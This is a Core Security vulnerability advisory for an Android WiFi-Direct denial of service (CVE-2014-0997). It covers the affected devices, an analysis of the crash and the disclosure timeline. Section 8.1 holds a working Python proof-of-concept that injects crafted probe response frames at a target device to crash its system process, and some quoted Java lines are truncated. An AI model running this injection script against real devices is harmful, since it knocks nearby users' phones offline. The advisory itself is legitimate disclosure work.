Android WiFi-Direct Denial of Service

Advisory ID Internal

1. Advisory Information

Title: Android WiFi-Direct Denial of Service
Advisory ID: CORE-2015-0002
Advisory URL:
Date published: 2015-01-26
Date of last update: 2015-01-26
Vendors contacted: Android Security Team
Release mode: User release

2. Vulnerability Information

Class: Uncaught Exception [CWE-248]
Impact: Denial of service
Remotely Exploitable: Yes
Locally Exploitable: No
CVE Name: CVE-2014-0997

3. Vulnerability Description

Some Android devices are affected by a Denial of Service attack when scanning for WiFi Direct devices.

An attacker could send a specially crafted 802.11 Probe Response frame causing the Dalvik subsystem to reboot because of an Unhandle Exception on WiFiMonitor class.

4. Vulnerable Packages

  • Nexus 5 - Android 4.4.4
  • Nexus 4 - Android 4.4.4
  • LG D806 - Android 4.2.2
  • Samsung SM-T310 - Android 4.2.2
  • Motorola RAZR HD - Android 4.1.2

Other devices could be also affected.

5. Non-vulnerable packages

  • Android 5.0.1
  • Android 5.0.2

6. Vendor Information, Solutions and Workarounds

Some mitigation actions may be to avoid using WiFi-Direct or update to a non-vulnerable Android version. Contact vendor for further information.

7. Credits

This vulnerability was discovered and researched by Andres Blanco from the CoreLabs Team. The publication of this advisory was coordinated by the Core Advisories Team.

8. Technical Description / Proof of Concept Code

Android makes use of a modified wpa_supplicant[1] in order to provide an interface between the wireless driver and the Android platform framework.

Below the function that handles wpa_supplicant events. This function returns a jstring from calling NewStringUTF method.

 static jstring android_net_wifi_waitForEvent(JNIEnv* env, jobject) { char buf[EVENT_BUF_SIZE]; int nread = ::wifi_wait_for_event(buf, sizeof buf); if (nread > 0) { return env->NewStringUTF(buf); } else { return NULL; } } 

The WiFi-Direct specification defines the P2P discovery procedure to enable P2P devices to exchange device information, the device name is part of this information.

The WifiP2pDevice class, located at /wifi/java/android/net/wifi/p2p/, represents a Wi-Fi p2p device. The constructor method receives the string provided by the wpa_supplicant and throws an IllegalArgumentException in case the event is malformed.

Below partial content of the file.

 [...] /** Detailed device string pattern with WFD info * Example: * P2P-DEVICE-FOUND 00:18:6b:de:a3:6e p2p_dev_addr=00:18:6b:de:a3:6e * pri_dev_type=1-0050F204-1 name='DWD-300-DEA36E' config_methods=0x188 * dev_capab=0x21 group_capab=0x9 */ private static final Pattern detailedDevicePattern = Pattern.compile( "((?:[0-9a-f]{2}:){5}[0-9a-f]{2}) " + "(\\d+ )?" + "p2p_dev_addr=((?:[0-9a-f]{2}:){5}[0-9a-f]{2}) " + "pri_dev_type=(\\d+-[0-9a-fA-F]+-\\d+) " + "name='(.*)' " + "config_methods=(0x[0-9a-fA-F]+) " + "dev_capab=(0x[0-9a-fA-F]+) " + "group_capab=(0x[0-9a-fA-F]+)" + "( wfd_dev_info=0x000006([0-9a-fA-F]{12}))?" ); [...] /** * @param string formats supported include * P2P-DEVICE-FOUND fa:7b:7a:42:02:13 p2p_dev_addr=fa:7b:7a:42:02:13 * pri_dev_type=1-0050F204-1 name='p2p-TEST1' config_methods=0x188 dev_capab=0x27 * group_capab=0x0 wfd_dev_info=000006015d022a0032 * * P2P-DEVICE-LOST p2p_dev_addr=fa:7b:7a:42:02:13 * * AP-STA-CONNECTED 42:fc:89:a8:96:09 [p2p_dev_addr=02:90:4c:a0:92:54] * * AP-STA-DISCONNECTED 42:fc:89:a8:96:09 [p2p_dev_addr=02:90:4c:a0:92:54] * * fa:7b:7a:42:02:13 * * Note: The events formats can be looked up in the wpa_supplicant code * @hide */ public WifiP2pDevice(String string) throws IllegalArgumentException { String[] tokens = string.split("[ \n]"); Matcher match; if (tokens.length < 1) { throw new IllegalArgumentException("Malformed supplicant event"); } switch (tokens.length) { case 1: /* Just a device address */ deviceAddress = string; return; case 2: match = twoTokenPattern.matcher(string); if (!match.find()) { throw new IllegalArgumentException("Malformed supplicant event"); } deviceAddress =; return; case 3: match = threeTokenPattern.matcher(string); if (!match.find()) { throw new IllegalArgumentException("Malformed supplicant event"); } deviceAddress =; return; default: match = detailedDevicePattern.matcher(string); if (!match.find()) { throw new IllegalArgumentException("Malformed supplicant event"); } deviceAddress =; primaryDeviceType =; deviceName =; wpsConfigMethodsSupported = parseHex(; deviceCapability = parseHex(; groupCapability = parseHex(; if ( != null) { String str =; wfdInfo = new WifiP2pWfdInfo(parseHex(str.substring(0,4)), parseHex(str.substring(4,8)), parseHex(str.substring(8,12))); } break; } if (tokens[0].startsWith("P2P-DEVICE-FOUND")) { status = AVAILABLE; } } [...] 

On some Android devices when processing a probe response frame with a WiFi-Direct(P2P) information element that contains a device name attribute with specific bytes generates a malformed supplicant event string that ends up throwing the IllegalArgumentException. As this exception is not handled the Android system restarts.

Below partial content of the logcat of a Samsung SM-T310 running Android 4.2.2.

 I/p2p_supplicant( 2832): P2P-DEVICE-FOUND 00.EF.00 p2p_dev_addr=00.EF.00 pri_dev_type=10-0050F204-5 'fa¬¬' config_methods=0x188 dev_capab=0x21 group_capab=0x0 E/AndroidRuntime( 2129): !@*** FATAL EXCEPTION IN SYSTEM PROCESS: WifiMonitor E/AndroidRuntime( 2129): java.lang.IllegalArgumentException: Malformed supplicant event E/AndroidRuntime( 2129): at<init>( E/AndroidRuntime( 2129): at$MonitorThread.handleP2pEvents( E/AndroidRuntime( 2129): at$ E/android.os.Debug( 2129): !@Dumpstate > dumpstate -k -t -z -d -o /data/log/dumpstate_sys_error 

8.1. Proof of Concept

This PoC was implemented using the open source library Lorcon [2] and PyLorcon2 [3], a Python wrapper for the Lorcon library.

 #!/usr/bin/env python import sys import time import struct import PyLorcon2 def get_probe_response(source, destination, channel): frame = str() frame += "\x50\x00" # Frame Control frame += "\x00\x00" # Duration frame += destination frame += source frame += source frame += "\x00\x00" # Sequence Control frame += "\x00\x00\x00\x00\x00\x00\x00\x00" # Timestamp frame += "\x64\x00" # Beacon Interval frame += "\x30\x04" # Capabilities Information # SSID IE frame += "\x00" frame += "\x07" frame += "DIRECT-" # Supported Rates frame += "\x01" frame += "\x08" frame += "\x8C\x12\x98\x24\xB0\x48\x60\x6C" # DS Parameter Set frame += "\x03" frame += "\x01" frame += struct.pack("B", channel) # P2P frame += "\xDD" frame += "\x27" frame += "\x50\x6F\x9A" frame += "\x09" # P2P Capabilities frame += "\x02" # ID frame += "\x02\x00" # Length frame += "\x21\x00" # P2P Device Info frame += "\x0D" # ID frame += "\x1B\x00" # Length frame += source frame += "\x01\x88" frame += "\x00\x0A\x00\x50\xF2\x04\x00\x05" frame += "\x00" frame += "\x10\x11" frame += "\x00\x06" frame += "fafa\xFA\xFA" return frame def str_to_mac(address): return "".join(map(lambda i: chr(int(i, 16)), address.split(":"))) if __name__ == "__main__": if len(sys.argv) != 3: print "Usage:" print " <iface> <target>" print "Example:" print " wlan0 00:11:22:33:44:55" sys.exit(-1) iface = sys.argv[1] destination = str_to_mac(sys.argv[2]) context = PyLorcon2.Context(iface) context.open_injmon() channel = 1 source = str_to_mac("00:11:22:33:44:55") frame = get_probe_response(source, destination, channel) print "Injecting PoC." for i in range(100): context.send_bytes(frame) time.sleep(0.100) 

9. Report Timeline

  • 2014-09-26: Core Security contacts Android security team to inform them that a vulnerability has been found in Android. Core Security sends a draft advisory with technical details and PoC files.
  • 2014-09-29: Android Security Team acknowledges reception of the advisory.
  • 2014-09-30: Core Security notifies that the tentative publication date is set for Oct 20rd, 2014.
  • 2014-09-30: Android Security Team acknowledges.
  • 2014-10-16: Core Security requests a status update.
  • 2014-10-16: Android Security Team responds that they have classify the vulnerability as low severity and don't currently have a timeline for releasing a fix.
  • 2014-10-20: Core Security does not completely agrees with the vulnerability classification and reschedule the publication of the advisory.
  • 2014-10-16: Android Security Team acknowledges and strengthens it's position that they don't currently have a timeline for releasing a fix.
  • 2015-01-06: Core Security requests a status update.
  • 2015-01-12: Core Security asks for confirmation of reception of the previous email.
  • 2015-01-16: Android Security Team acknowledges and respond that they don't currently have a timeline for releasing a fix.
  • 2015-01-19: Core Security notifies that vendor cooperation is needed in order to keep this process coordinated. If vendor refuses to provide the requested information the advisory will be released tagged as 'user release'. The advisory is re-scheduled for January 26th, 2015.
  • 2015-01-20: Android Security Team acknowledges and respond that they don't currently have a timeline for releasing a fix.
  • 2015-01-26: The advisory CORE-2015-0002 is published.

10. References

[1] wpa_supplicant site.
[2] Lorcon site.
[3] PyLorcon2 site.

11. About CoreLabs

CoreLabs, the research center of Core Security, is charged with anticipating the future needs and requirements for information security technologies. We conduct our research in several important areas of computer security including system vulnerabilities, cyber attack planning and simulation, source code auditing, and cryptography. Our results include problem formalization, identification of vulnerabilities, novel solutions and prototypes for new technologies. CoreLabs regularly publishes security advisories, technical papers, project information and shared software tools for public use at:

12. About Core Security Technologies

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Core Security's software solutions build on over a decade of trusted research and leading-edge threat expertise from the company's Security Consulting Services, CoreLabs and Engineering groups. Core Security Technologies can be reached at +1 (617) 399-6980 or on the Web at:

13. Disclaimer

The contents of this advisory are copyright (c) 2015 Core Security and (c) 2015 CoreLabs, and are licensed under a Creative Commons Attribution Non-Commercial Share-Alike 3.0 (United States) License:

14. PGP/GPG Keys

This advisory has been signed with the GPG key of Core Security advisories team.